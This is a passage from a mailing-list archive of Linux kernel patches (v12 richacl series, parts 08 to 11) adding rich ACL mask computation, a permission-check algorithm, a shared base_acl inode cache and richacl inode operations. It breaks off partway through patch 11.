X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D4D778F267; Fri, 23 Oct 2015 18:43:05 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eb026588; Fri, 23 Oct 2015 14:42:59 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 08/49] richacl: Compute maximum file masks from an acl Date: Fri, 23 Oct 2015 20:41:21 +0200 X-ASG-Orig-Subj: [PATCH v12 08/49] richacl: Compute maximum file masks from an acl Message-Id: <1445625722-13791-9-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625786 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Compute upper bound owner, group, and other file masks with as few permissions as possible without denying any permissions that the NFSv4 acl in a richacl grants. This algorithm is used when a file inherits an acl at create time and when an acl is set via a mechanism that does not provide file masks (such as setting an acl via nfsd). When user-space sets an acl via setxattr, the extended attribute already includes the file masks. Setting an acl also sets the file mode permission bits: they are determined by the file masks; see richacl_masks_to_mode(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 157 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 158 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index a393001..69b806c 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -183,3 +183,160 @@ richacl_want_to_mask(unsigned int want) return mask; } EXPORT_SYMBOL_GPL(richacl_want_to_mask); + +/* + * Note: functions like richacl_allowed_to_who(), richacl_group_class_allowed(), + * and richacl_compute_max_masks() iterate through the entire acl in reverse + * order as an optimization. + * + * In the standard algorithm, aces are considered in forward order. When a + * process matches an ace, the permissions in the ace are either allowed or + * denied depending on the ace type. Once a permission has been allowed or + * denied, it is no longer considered in further aces. + * + * By iterating through the acl in reverse order, we can compute the same + * result without having to keep track of which permissions have been allowed + * and denied already. + */ + +/** + * richacl_allowed_to_who - permissions allowed to a specific who value + * + * Compute the maximum mask values allowed to a specific who value, taking + * everyone@ aces into account. + */ +static unsigned int richacl_allowed_to_who(struct richacl *acl, + struct richace *who) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who) || + richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_group_class_allowed - maximum permissions of the group class + * + * Compute the maximum mask values allowed to a process in the group class + * (i.e., a process which is not the owner but is in the owning group or + * matches a user or group acl entry). This includes permissions granted or + * denied by everyone@ aces. + * + * See richacl_compute_max_masks(). + */ +static unsigned int richacl_group_class_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int everyone_allowed = 0, group_class_allowed = 0; + int had_group_ace = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace) || + richace_is_owner(ace)) + continue; + + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + everyone_allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + everyone_allowed &= ~ace->e_mask; + } else { + group_class_allowed |= + richacl_allowed_to_who(acl, ace); + + if (richace_is_group(ace)) + had_group_ace = 1; + } + } + /* + * If the acl doesn't contain any group@ aces, richacl_allowed_to_who() + * wasn't called for the owning group. We could make that call now, but + * we already know the result (everyone_allowed). + */ + if (!had_group_ace) + group_class_allowed |= everyone_allowed; + return group_class_allowed; +} + +/** + * richacl_compute_max_masks - compute upper bound masks + * + * Computes upper bound owner, group, and other masks so that none of the + * permissions allowed by the acl are disabled. + * + * We don't make assumptions about who the owner is so that the owner can + * change with no effect on the file masks or file mode permission bits; this + * means that we must assume that all entries can match the owner. + */ +void richacl_compute_max_masks(struct richacl *acl) +{ + unsigned int gmask = ~0; + struct richace *ace; + + /* + * @gmask contains all permissions which the group class is ever + * allowed. We use it to avoid adding permissions to the group mask + * from everyone@ allow aces which the group class is always denied + * through other aces. For example, the following acl would otherwise + * result in a group mask of rw: + * + * group@:w::deny + * everyone@:rw::allow + * + * Avoid computing @gmask for acls which do not include any group class + * deny aces: in such acls, the group class is never denied any + * permissions from everyone@ allow aces, and the group class cannot + * have fewer permissions than the other class. + */ + +restart: + acl->a_owner_mask = 0; + acl->a_group_mask = 0; + acl->a_other_mask = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + + if (richace_is_owner(ace)) { + if (richace_is_allow(ace)) + acl->a_owner_mask |= ace->e_mask; + else if (richace_is_deny(ace)) + acl->a_owner_mask &= ~ace->e_mask; + } else if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask; + acl->a_group_mask |= ace->e_mask & gmask; + acl->a_other_mask |= ace->e_mask; + } else if (richace_is_deny(ace)) { + acl->a_owner_mask &= ~ace->e_mask; + acl->a_group_mask &= ~ace->e_mask; + acl->a_other_mask &= ~ace->e_mask; + } + } else { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask & gmask; + acl->a_group_mask |= ace->e_mask & gmask; + } else if (richace_is_deny(ace) && gmask == ~0) { + gmask = richacl_group_class_allowed(acl); + if (likely(gmask != ~0)) + /* should always be true */ + goto restart; + } + } + } + + acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); +} +EXPORT_SYMBOL_GPL(richacl_compute_max_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 9102ef0..3559b2c 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -178,5 +178,6 @@ extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); +extern void richacl_compute_max_masks(struct richacl *); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3F94629E06 for ; Fri, 23 Oct 2015 13:43:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D53F8AC007 for ; Fri, 23 Oct 2015 11:43:13 -0700 (PDT) X-ASG-Debug-ID: 1445625792-04bdf0330a41490001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rGrCF1w1UJOQewBz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:12 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7F9CD8E228; Fri, 23 Oct 2015 18:43:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ec026588; Fri, 23 Oct 2015 14:43:06 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 09/49] richacl: Permission check algorithm Date: Fri, 23 Oct 2015 20:41:22 +0200 X-ASG-Orig-Subj: [PATCH v12 09/49] richacl: Permission check algorithm Message-Id: <1445625722-13791-10-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625792 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A richacl roughly grants a requested access if the NFSv4 acl in the richacl grants the requested permissions according to the NFSv4 permission check algorithm and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: "J. Bruce Fields" --- fs/Makefile | 2 +- fs/richacl_inode.c | 149 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 + 3 files changed, 153 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_inode.c diff --git a/fs/Makefile b/fs/Makefile index fe3e9dd..ec665fd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o +richacl-y := richacl_base.o richacl_inode.o obj-y += quota/ diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c new file mode 100644 index 0000000..99b3c93 --- /dev/null +++ b/fs/richacl_inode.c @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +/** + * richacl_permission - richacl permission check algorithm + * @inode: inode to check + * @acl: rich acl of the inode + * @want: requested access (MAY_* flags) + * + * Checks if the current process is granted @mask flags in @acl. + */ +int +richacl_permission(struct inode *inode, const struct richacl *acl, + int want) +{ + const struct richace *ace; + unsigned int mask = richacl_want_to_mask(want); + unsigned int requested = mask, denied = 0; + int in_owning_group = in_group_p(inode->i_gid); + int in_owner_or_group_class = in_owning_group; + + /* + * A process is + * - in the owner file class if it owns the file, + * - in the group file class if it is in the file's owning group or + * it matches any of the user or group entries, and + * - in the other file class otherwise. + * The file class is only relevant for determining which file mask to + * apply, which only happens for masked acls. + */ + if (acl->a_flags & RICHACL_MASKED) { + if ((acl->a_flags & RICHACL_WRITE_THROUGH) && + uid_eq(current_fsuid(), inode->i_uid)) { + denied = requested & ~acl->a_owner_mask; + goto out; + } + } else { + /* + * When the acl is not masked, there is no need to determine if + * the process is in the group class and we can break out + * earlier of the loop below. + */ + in_owner_or_group_class = 1; + } + + /* + * Check if the acl grants the requested access and determine which + * file class the process is in. + */ + richacl_for_each_entry(ace, acl) { + unsigned int ace_mask = ace->e_mask; + + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_owner(ace)) { + if (!uid_eq(current_fsuid(), inode->i_uid)) + continue; + goto entry_matches_owner; + } else if (richace_is_group(ace)) { + if (!in_owning_group) + continue; + } else if (richace_is_unix_user(ace)) { + if (!uid_eq(current_fsuid(), ace->e_id.uid)) + continue; + if (uid_eq(current_fsuid(), inode->i_uid)) + goto entry_matches_owner; + } else if (richace_is_unix_group(ace)) { + if (!in_group_p(ace->e_id.gid)) + continue; + } else + goto entry_matches_everyone; + + /* + * Apply the group file mask to entries other than owner@ and + * everyone@ or user entries matching the owner. This ensures + * that we grant the same permissions as the acl computed by + * richacl_apply_masks(). + * + * Without this restriction, the following richacl would grant + * rw access to processes which are both the owner and in the + * owning group, but not to other users in the owning group, + * which could not be represented without masks: + * + * owner:rw::mask + * group@:rw::allow + */ + if ((acl->a_flags & RICHACL_MASKED) && richace_is_allow(ace)) + ace_mask &= acl->a_group_mask; + +entry_matches_owner: + /* The process is in the owner or group file class. */ + in_owner_or_group_class = 1; + +entry_matches_everyone: + /* Check which mask flags the ACE allows or denies. */ + if (richace_is_deny(ace)) + denied |= ace_mask & mask; + mask &= ~ace_mask; + + /* + * Keep going until we know which file class + * the process is in. + */ + if (!mask && in_owner_or_group_class) + break; + } + denied |= mask; + + if (acl->a_flags & RICHACL_MASKED) { + /* + * The file class a process is in determines which file mask + * applies. Check if that file mask also grants the requested + * access. + */ + if (uid_eq(current_fsuid(), inode->i_uid)) + denied |= requested & ~acl->a_owner_mask; + else if (in_owner_or_group_class) + denied |= requested & ~acl->a_group_mask; + else { + if (acl->a_flags & RICHACL_WRITE_THROUGH) + denied = requested & ~acl->a_other_mask; + else + denied |= requested & ~acl->a_other_mask; + } + } + +out: + return denied ? -EACCES : 0; +} +EXPORT_SYMBOL_GPL(richacl_permission); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 3559b2c..1d9f5f7 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -180,4 +180,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +/* richacl_inode.c */ +extern int richacl_permission(struct inode *, const struct richacl *, int); + #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 08E8F7F67 for ; Fri, 23 Oct 2015 13:43:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 808BFAC002 for ; Fri, 23 Oct 2015 11:43:21 -0700 (PDT) X-ASG-Debug-ID: 1445625799-04cbb0660d3f120001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zRnezsAqSnW6YCPl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:19 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3CE50A58B3; Fri, 23 Oct 2015 18:43:19 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ed026588; Fri, 23 Oct 2015 14:43:13 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 10/49] vfs: Cache base_acl objects in inodes Date: Fri, 23 Oct 2015 20:41:23 +0200 X-ASG-Orig-Subj: [PATCH v12 10/49] vfs: Cache base_acl objects in inodes Message-Id: <1445625722-13791-11-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625799 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 POSIX ACLs and richacls are both objects allocated by kmalloc() with a reference count which are freed by kfree_rcu(). An inode can either cache an access and a default POSIX ACL, or a richacl (richacls do not have default acls). To allow an inode to cache either of the two kinds of acls, introduce a new base_acl type and convert i_acl and i_default_acl to that type. In most cases, the vfs then doesn't have to care which kind of acl an inode caches (if any). Signed-off-by: Andreas Gruenbacher --- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/f2fs/acl.c | 4 ++-- fs/inode.c | 4 ++-- fs/jffs2/acl.c | 6 ++++-- fs/posix_acl.c | 18 +++++++++--------- include/linux/fs.h | 25 ++++++++++++++++++++++--- include/linux/posix_acl.h | 12 ++++-------- include/linux/richacl.h | 2 +- 8 files changed, 45 insertions(+), 28 deletions(-) diff --git a/drivers/staging/lustre/lustre/llite/llite_lib.c b/drivers/staging/lustre/lustre/llite/llite_lib.c index b4ed6c8..5766f69 100644 --- a/drivers/staging/lustre/lustre/llite/llite_lib.c +++ b/drivers/staging/lustre/lustre/llite/llite_lib.c @@ -1118,7 +1118,7 @@ void ll_clear_inode(struct inode *inode) } #ifdef CONFIG_FS_POSIX_ACL else if (lli->lli_posix_acl) { - LASSERT(atomic_read(&lli->lli_posix_acl->a_refcount) == 1); + LASSERT(atomic_read(&lli->lli_posix_acl->a_base.ba_refcount) == 1); LASSERT(lli->lli_remote_perms == NULL); posix_acl_release(lli->lli_posix_acl); lli->lli_posix_acl = NULL; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index c8f25f7..a4207de 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -270,7 +270,7 @@ static struct posix_acl *f2fs_acl_clone(const struct posix_acl *acl, sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -282,7 +282,7 @@ static int f2fs_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/fs/inode.c b/fs/inode.c index 78a17b8..2a387f4 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -233,9 +233,9 @@ void __destroy_inode(struct inode *inode) #ifdef CONFIG_FS_POSIX_ACL if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_acl); + put_base_acl(inode->i_acl); if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_default_acl); + put_base_acl(inode->i_default_acl); #endif this_cpu_dec(nr_inodes); } diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 2f7a3c0..04a5836 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -294,13 +294,15 @@ int jffs2_init_acl_post(struct inode *inode) int rc; if (inode->i_default_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, inode->i_default_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, + *acl_by_type(inode, ACL_TYPE_DEFAULT)); if (rc) return rc; } if (inode->i_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, inode->i_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, + *acl_by_type(inode, ACL_TYPE_ACCESS)); if (rc) return rc; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 4fb17de..b3b2265 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -25,9 +25,9 @@ struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { case ACL_TYPE_ACCESS: - return &inode->i_acl; + return (struct posix_acl **)&inode->i_acl; case ACL_TYPE_DEFAULT: - return &inode->i_default_acl; + return (struct posix_acl **)&inode->i_default_acl; default: BUG(); } @@ -83,16 +83,16 @@ EXPORT_SYMBOL(forget_cached_acl); void forget_all_cached_acls(struct inode *inode) { - struct posix_acl *old_access, *old_default; + struct base_acl *old_access, *old_default; spin_lock(&inode->i_lock); old_access = inode->i_acl; old_default = inode->i_default_acl; inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; spin_unlock(&inode->i_lock); if (old_access != ACL_NOT_CACHED) - posix_acl_release(old_access); + put_base_acl(old_access); if (old_default != ACL_NOT_CACHED) - posix_acl_release(old_default); + put_base_acl(old_default); } EXPORT_SYMBOL(forget_all_cached_acls); @@ -129,7 +129,7 @@ EXPORT_SYMBOL(get_acl); void posix_acl_init(struct posix_acl *acl, int count) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } EXPORT_SYMBOL(posix_acl_init); @@ -162,7 +162,7 @@ posix_acl_clone(const struct posix_acl *acl, gfp_t flags) sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -384,7 +384,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { @@ -439,7 +439,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/include/linux/fs.h b/include/linux/fs.h index ba91a89..3c22c92 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -576,6 +576,12 @@ static inline void mapping_allow_writable(struct address_space *mapping) #define i_size_ordered_init(inode) do { } while (0) #endif +struct base_acl { + union { + atomic_t ba_refcount; + struct rcu_head ba_rcu; + }; +}; struct posix_acl; #define ACL_NOT_CACHED ((void *)(-1)) @@ -595,9 +601,9 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#ifdef CONFIG_FS_POSIX_ACL - struct posix_acl *i_acl; - struct posix_acl *i_default_acl; +#if defined(CONFIG_FS_POSIX_ACL) + struct base_acl *i_acl; + struct base_acl *i_default_acl; #endif const struct inode_operations *i_op; @@ -3059,4 +3065,17 @@ static inline bool dir_relax(struct inode *inode) extern bool path_noexec(const struct path *path); +static inline struct base_acl *get_base_acl(struct base_acl *acl) +{ + if (acl) + atomic_inc(&acl->ba_refcount); + return acl; +} + +static inline void put_base_acl(struct base_acl *acl) +{ + if (acl && atomic_dec_and_test(&acl->ba_refcount)) + kfree_rcu(acl, ba_rcu); +} + #endif /* _LINUX_FS_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 3e96a6a..2c46441 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -43,10 +43,7 @@ struct posix_acl_entry { }; struct posix_acl { - union { - atomic_t a_refcount; - struct rcu_head a_rcu; - }; + struct base_acl a_base; unsigned int a_count; struct posix_acl_entry a_entries[0]; }; @@ -61,8 +58,7 @@ struct posix_acl { static inline struct posix_acl * posix_acl_dup(struct posix_acl *acl) { - if (acl) - atomic_inc(&acl->a_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -72,8 +68,8 @@ posix_acl_dup(struct posix_acl *acl) static inline void posix_acl_release(struct posix_acl *acl) { - if (acl && atomic_dec_and_test(&acl->a_refcount)) - kfree_rcu(acl, a_rcu); + BUILD_BUG_ON(offsetof(struct posix_acl, a_base) != 0); + put_base_acl(&acl->a_base); } diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 1d9f5f7..2baef35 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -57,7 +57,7 @@ static inline struct richacl * richacl_get(struct richacl *acl) { if (acl) - atomic_inc(&acl->a_refcount); + atomic_inc(&acl->a_base.ba_refcount); return acl; } -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 505EE29E12 for ; Fri, 23 Oct 2015 13:43:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E8AC5AC002 for ; Fri, 23 Oct 2015 11:43:26 -0700 (PDT) X-ASG-Debug-ID: 1445625806-04bdf0330b414a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sawFjFdpmmoZtNDd (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:26 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E89A2AA8; Fri, 23 Oct 2015 18:43:25 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ee026588; Fri, 23 Oct 2015 14:43:19 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 11/49] vfs: Add get_richacl and set_richacl inode operations Date: Fri, 23 Oct 2015 20:41:24 +0200 X-ASG-Orig-Subj: [PATCH v12 11/49] vfs: Add get_richacl and set_richacl inode operations Message-Id: <1445625722-13791-12-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625806 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 These operations are similar to the get_acl and set_acl operations for POSIX ACLs. The distinction between access and default ACLs doesn't exist for richacls. Signed-off-by: Andreas Gruenbacher --- include/linux/fs.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 3c22c92..08fde42 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1662,6 +1662,7 @@ struct inode_operations { const char * (*follow_link) (struct dentry *, void **); int (*permission) (struct inode *, int); struct posix_acl * (*get_acl)(struct inode *, int); + struct richacl * (*get_richacl)(struct inode *); int (*readlink) (struct dentry *, char __user *,int); void (*put_link) (struct inode *, void *); @@ -1691,6 +1692,7 